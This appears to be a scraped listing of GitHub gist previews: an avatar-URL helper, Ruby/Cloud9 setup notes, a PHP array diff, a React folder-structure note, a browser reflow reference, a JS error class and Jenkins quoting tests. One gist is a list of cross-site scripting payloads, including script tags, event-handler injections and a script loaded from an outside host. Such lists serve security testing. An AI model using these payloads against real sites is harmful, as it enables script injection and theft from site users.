jcsrb

function get_avatar_from_service(service, userid, size) {
    // this return the url that redirects to the according user image/avatar/profile picture
    // implemented services: google profiles, facebook, gravatar, twitter, tumblr, default fallback
    // for google   use get_avatar_from_service('google', profile-name or user-id , size-in-px )
    // for facebook use get_avatar_from_service('facebook', vanity url or user-id , size-in-px or size-as-word )
    // for gravatar use get_avatar_from_service('gravatar', md5 hash email@adress, size-in-px )
    // for twitter  use get_avatar_from_service('twitter', username, size-in-px or size-as-word )
    // for tumblr   use get_avatar_from_service('tumblr', blog-url, size-in-px )
    // everything else will go to the fallback
    // google and gravatar scale the avatar to any site, others will guided to the next best version

g3d

#Mac OS X

Mensch coding font

Apps

• Webkit
• Chrome
• Firefox

janjongboom

**Cloud9 now has rvm, so you can switch easily (`rvm use X`), no need for this gist anymore**

# first thing to do is to get your VM's GUID
# do a 'pwd' in the console and grab the part after /var/lib/stickshift
# -> replace all GUID calls in this file :-)

create file: .gemrc

install: --no-rdoc --no-ri
update: --no-rdoc --no-ri

jondlm

<?php
/*
 * Recursively diff two arrays. This function expects the leaf levels to be
 * arrays of strings or null
 */
function diff_recursive($array1, $array2) {
	$difference=array();
	foreach($array1 as $key => $value) {
		if(is_array($value) && isset($array2[$key])){ // it's an array and both have the key
			$new_diff = diff_recursive($value, $array2[$key]);

ryanflorence

Folder Structure

Please note

While this gist has been shared and followed for years, I regret not giving more background. It was originally a gist for the engineering org I was in, not a "general suggestion" for any React app.

Typically I avoid folders altogether. Heck, I even avoid new files. If I can build an app with one 2000 line file I will. New files and folders are a pain.

bortunac

gettype = function (x) {
    return {}.toString.call(x).match(/\s([a-zA-Z]+)/)[1];
};


diff = function () {
    this.comp=null; // comparation object
    this.hnd=function(){}; // no function  
};

paulirish

What forces layout / reflow

All of the below properties or methods, when requested/called in JavaScript, will trigger the browser to synchronously calculate the style and layout*. This is also called reflow or layout thrashing, and is common performance bottleneck.

Generally, all APIs that synchronously provide layout metrics will trigger forced reflow / layout. Read on for additional cases and details.

Element APIs

Getting box metrics

• elem.offsetLeft, elem.offsetTop, elem.offsetWidth, elem.offsetHeight, elem.offsetParent

tregusti

function NotImplementedError(message) {
    this.message = message || "";
}
NotImplementedError.prototype = Object.create(Error.prototype, {
    constructor: { value: NotImplementedError },
    name: { value: 'NotImplementedError' },
    stack: { get: function() {
        return new Error().stack;
    }},
});

rvrsh3ll

';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
'';!--"<XSS>=&{()}
0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"
<script/src=data:,alert()>
<marquee/onstart=alert()>
<video/poster/onerror=alert()>
<isindex/autofocus/onfocus=alert()>
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>

Faheetah

node {
    echo 'Results included as an inline comment exactly how they are returned as of Jenkins 2.121, with $BUILD_NUMBER = 1'
    echo 'No quotes, pipeline command in single quotes'
    sh 'echo $BUILD_NUMBER' // 1
    echo 'Double quotes are silently dropped'
    sh 'echo "$BUILD_NUMBER"' // 1
    echo 'Even escaped with a single backslash they are dropped'
    sh 'echo \"$BUILD_NUMBER\"' // 1
    echo 'Using two backslashes, the quotes are preserved'
    sh 'echo \\"$BUILD_NUMBER\\"' // "1"